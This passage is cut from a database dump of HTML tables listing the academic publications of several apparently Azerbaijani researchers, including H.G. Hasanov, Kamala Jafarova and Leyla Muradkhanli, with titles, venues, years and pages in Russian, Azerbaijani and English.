width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>том II (6), № 2, стр. 63-68</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Влияние акустического излучения на электросопротивление жидкостей.</p></td><td width=\"102\"><p>Проблемы энергетики</p></td><td width=\"84\"><p>Гасанов Х.Г. , Алиев А.А.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>№&nbsp; 4, стр. 52 - 58</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Использование акустических и лазерных излучений для контроля свойств бурового раствора.</p></td><td width=\"102\"><p>Азерб. Нефтяное Хозяйство.</p></td><td width=\"84\"><p>Гасанов Х.Г., Алиев Ч.Т.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>№ 12, стр. 31–34, 62</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>О влиянии вязких напряжений жидкости на распростра-нение акустической волны в ней при воздействии лазерного излучения.</p></td><td width=\"102\"><p>Вестник БГУ (серия физико-математических наук)</p></td><td width=\"84\"><p>Гасанов Х.Г., Алиев А.А.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>№2, стр.166-173</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Периодические тепловые структуры с цилиндрической симметрией.</p></td><td width=\"102\"><p>Научные записки АТУ - фундаментальные науки</p></td><td width=\"84\"><p>Гасанов Х.Г.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2003</p></td><td width=\"60\"><p>том II (8), № 2, стр. 62-66</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Обратные задачи термохимических реакций, инициируемых лазерным излучением при транспортировке парафинистых нефтей.</p></td><td width=\"102\"><p>Тезисы докладов научной конференции, посвященной 90-летнему юбилею член-корр. З.Г. Зульфугарова.</p></td><td width=\"84\"><p>Гасанов Г.Т., Алиев А.А., Гасанов Х.Г.</p></td><td width=\"102\"><p>Баку (Азербайджан)</p></td><td width=\"60\"><p>2004</p></td><td width=\"60\"><p>стр. 22-25</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Термодинамическое исследование взаимо-действий некоторых физических полей с жидкостью.</p></td><td width=\"102\"><p>Материалы Третьей Республи-канской Конференции \'\'Актуальные проблемы физики\'\'</p></td><td width=\"84\"><p>Гасанов Г.Т., Алиев А.А., Гасанов Х.Г.</p></td><td width=\"102\"><p>Баку (Азербайджан)</p></td><td width=\"60\"><p>Февраль, 2004</p></td><td width=\"60\"><p>стр. 107</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Термический разрыв нефтеносной породы лазерным излучением.</p></td><td width=\"102\"><p>Изв. ВТУЗов \'\'Нефть и газ\'\'</p></td><td width=\"84\"><p>Гасанов Х.Г.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>2004</p></td><td width=\"60\"><p>№ 2 (30) , стр. 20 – 23</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Using magnetic field in cooling systems of solar photoelectric sets.</p></td><td width=\"102\"><p>Proceed. of the 2nd Intern. Confer. on Tech. &amp; Physical Problems in Power Engineering</p></td><td width=\"84\"><p>Hashimov A.M., Safarov N.A., Hassanov H.G., Tabatabaei N.M., Samsunchi N.</p></td><td width=\"102\"><p>Tabriz, Iran</p></td><td width=\"60\"><p>September 2004</p></td><td width=\"60\"><p>pp. 779-780</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Akustik dalğaların neft sənayesində tətbiqi</p></td><td width=\"102\"><p>AzNSETLİ-nin Elmi Əsərləri (AzNSETLİ-nin 75 illiyinə həsr olunmuş toplu)</p></td><td width=\"84\"><p>H.Q.<strong></strong>Həsənov, X.M. Talıbova, C.H. Abışov, G.A. Məmmədova</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2004</p></td><td width=\"60\"><p>№&nbsp; 2, стр. 164 - 172</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>О возможности использования магнитного поля в охлаждающих системах солнечных фотоэлектрических установок.</p></td><td width=\"102\"><p>Труды 2 - ой Междунар. Научно - техн. Конференции \'\'Энергетика, Экология, Энергосбережение, Транспорт\'\'</p></td><td width=\"84\"><p>Гашимов А.М., Сафаров Н.А., Гасанов Х.Г.</p></td><td width=\"102\"><p>Тобольск</p></td><td width=\"60\"><p>Сентябрь, 2004</p></td><td width=\"60\"><p>стр. 237-239</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Точное решение задачи испарения жидкости под действием лазерного излучения.</p></td><td width=\"102\"><p>Вестник БГУ (серия физико-математических наук)</p></td><td width=\"84\"><p>Гасанов Х.Г.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2004</p></td><td width=\"60\"><p>№3, стр. 154-163</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Влияние сжимаемости бурового раствора на технологические процессы при бурении скважин.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"84\"><p>Гасанов Х.Г.</p></td><td width=\"102\"><p>Баку, Изд-во ²Тахсил²</p></td><td width=\"60\"><p>2004</p></td><td width=\"60\"><p>181 стр.</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Hydraulic impact of compressible viscous liquid.</p></td><td width=\"102\"><p>Proceed. of Instit. of Math. &amp; Mechanics</p></td><td width=\"84\"><p>Hassanov H.G.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2004</p></td><td width=\"60\"><p>vol. XXI (XXIX), pp.213-218</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Investigation of temperature dependencies of thermophysical properties of solids and liquids.</p></td><td width=\"102\"><p>International Journal of Science and Technology (Scientia Iranica).</p></td><td width=\"84\"><p>Hassanov H.G.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2004</p></td><td width=\"60\"><p>Vol.11, #4, pp. 371-377</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Effect of electric field on liquid viscosity in co-axial cylindric pipes.</p></td><td width=\"102\"><p>Journal of Aerospace Science and Technology.</p></td><td width=\"84\"><p>Hassanov H.G.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2005</p></td><td width=\"60\"><p>Vol.2, #1, pp.1-5</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Образование электрических зарядов при движении нефте-продуктов по нефтепроводам.</p></td><td width=\"102\"><p>Ученые записки АГУ (серия фундаментальных наук)</p></td><td width=\"84\"><p>Гасанов Х.Г., Алиев А.А.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2005</p></td><td width=\"60\"><p>том. IV(13), №1, стр. 31-36</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Метод учета влияия паров воды при обработке данных гиперспектрометров.</p></td><td width=\"102\"><p>Труды 6-ой международной научно - технической конференции ²Микроэлектронные преобразователи и приборы на их основе²</p></td><td width=\"84\"><p>А. А. Ширинзаде, Х. Г. Гасанов, Х. Г. Асадов, Ш. Т. Сулейманов, А. Г. Мамедбейли, Э. С. Аббасзаде, С. Р. Азимова.</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>14-16 ноября 2007</p></td><td width=\"60\"><p>стр. 134-136</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Метод многоволновых циклических измерений компонентов континуального поглощения в задачах эмиссионной и абсорбционной спектроскопии для контроля атмосферы.</p></td><td width=\"102\"><p>Труды 6-ой международной научно-технической конференции ²Микроэлектронные преобразователи и приборы на их основе²</p></td><td width=\"84\"><p>А. А. Ширинзаде, Х. Г. Гасанов, Х. Г. Асадов, Н. А. Аскеров, Т. Ф. Рзаева, И. М Мирзабалаев, С. Р. Азимова.</p></td><td width=\"102\"><p>Баку.</p></td><td width=\"60\"><p>14-16 ноября 2007</p></td><td width=\"60\"><p>стр. 137-138</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Некоторые проблемы построения цифровых карт.</p></td><td width=\"102\"><p>Известия Азербайджанского Нацио-нального Аэрокосмического Агентства</p></td><td width=\"84\"><p>Р. М. Рагимов, Х. Г. Гасанов, Э. Р. Алескеров, Н. М. Пашаев, Х. А. Сафибекова.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2007</p></td><td width=\"60\"><p>том 10, № 1-2, стр. 124-130.</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Нанотехнологии: пути развития и перспективы их применения в Азербайджане.</p></td><td width=\"102\"><p>Известия Азербайджанского Национального Аэрокос-мического Агентства</p></td><td width=\"84\"><p>А. А. Ширинзаде, Х. Г. Гасанов.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2007</p></td><td width=\"60\"><p>том 10, № 3-4, стр. 3-11.</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>О возможности комбинирования метода Парето оптимизации с трехступенчатым принципом применительно к задачам дистанционного зондирования.</p></td><td width=\"102\"><p>Известия Азербайджанского Национального Аэрокосмического Агентства</p></td><td width=\"84\"><p>Х. Г. Гасанов, Х. Г. Асадов, М. Дж. Керимов, Т. Ф. Рзаева, Н. А. Аскеров, А.Г. Мамедбейли, Х. С. Алиева</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2007</p></td><td width=\"60\"><p>том 10,&nbsp; № 3-4, стр. 17-23</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Portativ anemometr</p></td><td width=\"102\"><p>(Patent)</p></td><td width=\"84\"><p>H.Q. Həsənov, A.Ş. Xıdırov, M.N. Stoyalov, F.A. Məmmədov.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>Verildiyi tarix 16.04.2007 (№ a2007 0083). Müsbət nəticə 25.09.2007.</p></td><td width=\"60\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Klaviatura</p></td><td width=\"102\"><p>(Patent)</p></td><td width=\"84\"><p>H.Q. Həsənov, F.A. Məmmədov, A.F. Məmmədov.,</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>Verildiyi tarix 15.05.2007 (№ a2007 0114). Müsbət nəticə 25.09.2007.</p></td><td width=\"60\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Mobil rabitə sistemləri əsasında telemetrik terminallar və onların funksional imkanları.</p></td><td width=\"102\"><p>“İnformasiya sistemləri və metodların hərbi dəniz kadrların hazırlanmasında rolu” Elmi-praktiki konfrans</p></td><td width=\"84\"><p>H.Q. Həsənov, А.V. Mardaxayev, А.F. Məmmədova, А.Ş. Xidirov</p></td><td width=\"102\"><p>Bakı</p></td><td width=\"60\"><p>Fevral 2008</p></td><td width=\"60\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Hərbi dəniz döyüşlərində istifadə olunan ekspert sistemlərin biliklər bazasına riyazi model nəticələrinin daxil edilməsi.</p></td><td width=\"102\"><p>“İnformasiya sistemləri və metodların hərbi dəniz kadrların hazırlanmasında rolu” Elmi-praktiki konfrans</p></td><td width=\"84\"><p>H.Q. Həsənov, F.N. Qırxlarov</p></td><td width=\"102\"><p>Bakı</p></td><td width=\"60\"><p>Fevral 2008</p></td><td width=\"60\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Külək eneji qurğusu</p></td><td width=\"102\"><p>(Patent)</p></td><td width=\"84\"><p>N.M. Əliyev, H.Q. Həsənov, F.A. Məmmədov.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>Verildiyi tarix 24.01.2008 (№ A2008 0005). Müsbət nəticə 19.02.2008. Patent № U2010 0011</p></td><td width=\"60\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Использование дополнительных пространственных данных в классификационной процедуре для улучшения качества распознавания данных дистанционного зондирования.</p></td><td width=\"102\"><p>Информация и Космос</p></td><td width=\"84\"><p>Х.Г. Гасанов, Е.М. Гамбарова.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2008</p></td><td width=\"60\"><p>№2, стр. 53-58.</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>An investigation of the design and use of artificial neural networks in the classification of remotely sensed images</p></td><td width=\"102\"><p>Proceed. of the Fifth Intern. Conference “Neural networks and artificial intelligence” ICNNAI</p></td><td width=\"84\"><p>H. Hasanov, T. Suleymanov, E. Gambarova</p></td><td width=\"102\"><p>Minsk, Belarus</p></td><td width=\"60\"><p>27-30 May 2008</p></td><td width=\"60\"><p>pp. 62-64.</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Газочувствительный детектор на основе фталоцианина меди.</p></td><td width=\"102\"><p>Материалы Межд. Научно-практич. Семинара “Практика и перспективы развития партнерства в сфере высшей школы</p></td><td width=\"84\"><p>С.С. Сулейманов, Х.Г. Гасанов, Х.С. Алиева, М.Н. Мурщудли, Ф.И. Касимова</p></td><td width=\"102\"><p>Донецк (Украйна)</p></td><td width=\"60\"><p>Июнь 2008</p></td><td width=\"60\"><p>Книга 1, №8, стр. 215-221.</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Влияние температурной обработки на индикационные свойства фталоцианина меди.</p></td><td width=\"102\"><p>Материалы 5-ой Межд. Научно-техн. Конференции «Актуальные проблемы физики»</p></td><td width=\"84\"><p>Х.Г. Гасанов, Х.С. Алиева, Т.М. Алиева, С.С. Сулейманов</p></td><td width=\"102\"><p>Баку</p></td><td width=\"60\"><p>25-27 июня 2008</p></td><td width=\"60\"><p>стр. 327-331</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Investigation of the design and use of artificial neural networks in the classification of remotely sensed images.</p></td><td width=\"102\"><p>Proceed. of the Second Intern. Conference “Problems of Cybernetics and Informatics”</p></td><td width=\"84\"><p>H. Hasanov, T. Suleymanov, E. Gambarova</p></td><td width=\"102\"><p>Baku</p></td><td width=\"60\"><p>September, 2008</p></td><td width=\"60\"><p>10-12, pp. 171-174.</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Three-phase asynchronous motor with axial flux and general mathematical model</p></td><td width=\"102\"><p>Proceed. of the 4th Intern. Confer. on Tech. &amp; Physical Problems in Power Engineering</p></td><td width=\"84\"><p>A. Mammadov, N. Galan, L. Dumitriu, H. Hasanov, M. Iordache, M. Predescu, D. Niculae</p></td><td width=\"102\"><p>Pitesti, Romania</p></td><td width=\"60\"><p>September 2008</p></td><td width=\"60\"><p>pp. II-89―II-93</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Polimer-pirokeramika kompozitlərin və onların komponentlərinin elektrofiziki xassələri arasında əlaqə.</p></td><td width=\"102\"><p>Fizika</p></td><td width=\"84\"><p>H.Q. Həsənov, E.Ə. Kərimov, M.Ə. Qurbanov, S.N. Musayeva</p></td><td width=\"102\"><p>(Fizika İnstitutu)</p></td><td width=\"60\"><p>2008</p></td><td width=\"60\"><p>Cild XIV, №2, ss. 60-63.</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Training of multilayer perception (MLP) neural classifiers and analysis of classification results of IKONOS satellite imagery</p></td><td width=\"102\"><p>Journal of Space Science and Technology (ISNET)</p></td><td width=\"84\"><p>H.G. Hasanov, A.Y. Gambarov, Y.M. Gambarova.</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2008</p></td><td width=\"60\"><p>vol. II, pp. 10-19.</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Применение метода геотехнической диагностики магистральных нефтегазопроводов по материалам аэрокосмического мониторинга</p></td><td width=\"102\"><p>Доклады НАНА</p></td><td width=\"84\"><p>А. Ширинзаде, Х. Гасанов, Р.Рагимов, А. Тимофеев</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2008</p></td><td width=\"60\"><p>том LXIV, №1, стр. 49-56.</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>“Peyk enerji sistemi” - Elektrik enerjinin məsafədən ünvanlı ötürülməsi.</p></td><td width=\"102\"><p>United Nations/Azerbaijan/USA/European Space Agency. Workshop on the Applications of GNSS.</p></td><td width=\"84\"><p>H.Q. Həsənov.</p></td><td width=\"102\"><p>Baku, Azerbaijan</p></td><td width=\"60\"><p>11 – 15 May 2009</p></td><td width=\"60\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Связь между стационарной и нестационарной вязкостью жидкостей</p></td><td width=\"102\"><p>Известия ВТУЗ-ов Азербайджана</p></td><td width=\"84\"><p>Х.Г. Гасанов, Н.А. Салаева</p></td><td width=\"102\"><p>&nbsp;</p></td><td width=\"60\"><p>2010</p></td><td width=\"60\"><p>№2 (66), стр. 38-39</p><div><br></div></td></tr></tbody></table>  <br></div>'),(1538,961,'az',' Kamala Jafarova',' Kamala Jafarova','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"619\" style=\"font-family:arial, helvetica, sans-serif\"><tbody><tr><td width=\"31\"><p>#</p></td><td width=\"126\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"84\"><p><strong>Publications type/publication activities</strong></p></td><td width=\"66\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"84\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"72\"><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"42\"><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>Hard copy</strong></p><p><strong>Yes/No</strong><strong></strong></p></td><td width=\"54\"><p><strong>eVersion</strong></p><p><strong>Yes/No</strong><strong></strong></p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"126\"><p>Choosing optimal technological work regime for gas and condensate fields</p></td><td width=\"84\"><p>Thesis</p></td><td width=\"66\"><p>-</p></td><td width=\"84\"><p>Scientific and technical conference, Baku</p></td><td width=\"72\"><p>2006</p></td><td width=\"42\"><p>1</p></td><td width=\"60\"><p>yes</p></td><td width=\"54\"><p>no</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"126\"><p>Gas storage</p></td><td width=\"84\"><p>Thesis</p></td><td width=\"66\"><p>-</p></td><td width=\"84\"><p>Scientific and technical conference, Sumgayit</p></td><td width=\"72\"><p>2009</p></td><td width=\"42\"><p>1</p></td><td width=\"60\"><p>yes</p></td><td width=\"54\"><p>no</p></td></tr></tbody></table>  <br></div>'),(1539,961,'en',' Kamala Jafarova',' Kamala Jafarova','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"619\"><tbody><tr><td width=\"31\"><p>#</p></td><td width=\"126\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"84\"><p><strong>Publications type/publication activities</strong></p></td><td width=\"66\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"84\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"72\"><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"42\"><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>Hard copy</strong></p><p><strong>Yes/No</strong><strong></strong></p></td><td width=\"54\"><p><strong>eVersion</strong></p><p><strong>Yes/No</strong><strong></strong></p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"126\"><p>Choosing optimal technological work regime for gas and condensate fields</p></td><td width=\"84\"><p>Thesis</p></td><td width=\"66\"><p>-</p></td><td width=\"84\"><p>Scientific and technical conference, Baku</p></td><td width=\"72\"><p>2006</p></td><td width=\"42\"><p>1</p></td><td width=\"60\"><p>yes</p></td><td width=\"54\"><p>no</p></td></tr><tr><td width=\"31\"><ol><li>&nbsp;</li></ol></td><td width=\"126\"><p>Gas storage</p></td><td width=\"84\"><p>Thesis</p></td><td width=\"66\"><p>-</p></td><td width=\"84\"><p>Scientific and technical conference, Sumgayit</p></td><td width=\"72\"><p>2009</p></td><td width=\"42\"><p>1</p></td><td width=\"60\"><p>yes</p></td><td width=\"54\"><p>no</p><div><br></div></td></tr></tbody></table>  <br></div>'),(1540,962,'az','Leyla Muradkhanli','Leyla Muradkhanli','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"638\" style=\"font-family:arial, helvetica, sans-serif\"><tbody><tr><td width=\"31\"><p>#</p></td><td width=\"125\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"104\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"123\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"76\"><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Azərbaycanda bərpa olunan enerji mənbələrindən istifadə perspektivləri</p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>Ekoloji problemlər və ekoloji təhsil Respublika Konfransı</p><p>&nbsp;</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p><p><strong>B. Atabeyli&nbsp;<br></strong></p></td><td width=\"123\"><p>Pedaqoji Universitet</p></td><td width=\"57\"><p><strong>23-24 Aprel, 2013.<br><br><br></strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Implementation of eLearning in Azerbaijan</p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>The 6th International Conference on Application of Information and Communication Technologies</p><p>&nbsp;</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p><p><strong>B. Atabeyli&nbsp;<br></strong></p></td><td width=\"123\"><p>AICT 2012,&nbsp; Tbilisi, Georgia</p></td><td width=\"57\"><p><strong>17-19 October, 2012<br><br><br><br></strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>The role of Information and Communication Technologies in Education</p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>European Neighbourhood Policy and Eastern Partnership: Achievements, Obstacles and Perspectives</p><p>&nbsp;</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>Jean Monnet International Scientific and Practical conference</p></td><td width=\"57\"><p><strong>5-7 May, 2011.<br><br><br><br></strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Blended Learning : The Integration of Traditional Learning and eLearning, Application of Information and Communication Technologies</p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>Conference &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>AICT 2011 V International Conference, Baku, Azerbaijan<strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>12-14 October, 2011</strong></p></td><td width=\"76\"><p><strong>&nbsp;pp.373-376.</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Azerbaijan-Turkey Energy Cooperation</p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>Conference &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>International Conference on “Azerbaijan-Turkey Cooperation”, Baku.<strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>2009</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>The Quality Assurance System at Khazar&nbsp; University</p><p>&nbsp;</p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>Conference&nbsp; on “Quality&nbsp; Assurance in Higher Education”, Baku.<strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>2009</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Instructional Design For E-Learning Courses</p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>International Conference on “Information Communication Technologies of&nbsp; E-Learning”, Almaty, Kazakhstan.<br><br><strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>2007</strong><strong>&nbsp;</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Economics and Sustainable Development&nbsp;<strong>&nbsp;</strong></p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>International Symposium “Natural Cataclysms and Global Problems of the Modern Civilization”,</p><p>24-27 September, Baku<strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>2007</strong><strong>&nbsp;</strong></p></td><td width=\"76\"><p>pp.699-701.<strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Oil refinery and environmental damage in Azerbaijan</p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>Ninth Baku International Congress “Energy, Ecology, Economy”,</p><p>7-9 June, Baku<strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>2007</strong></p></td><td width=\"76\"><p>pp. 482-484.<strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Environmental Issues of the Caspian Sea<strong>&nbsp;</strong></p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>The 14th Annual Central Eurasian Studies Conference, Indiana University, Bloomington, USA.<strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>2007</strong></p></td><td width=\"76\"><p>pp.53-54.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Expert system for decision-making problem in economics</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>&nbsp;</strong></p><p><strong>L.Muradkhanli</strong></p><p><strong>A. Alasgarova,</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"123\"><p>International conference on “Knowledge-Dialogue-Solutions”, ITHEA, Sofia, Bolgaria.</p></td><td width=\"57\"><p><strong>2007</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Economists view of the environment</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>8<sup>th</sup>&nbsp; Baku International Congress “Energy, Ecology, Economy”, Baku.</p><p>&nbsp;</p></td><td width=\"57\"><p><strong>2005</strong></p></td><td 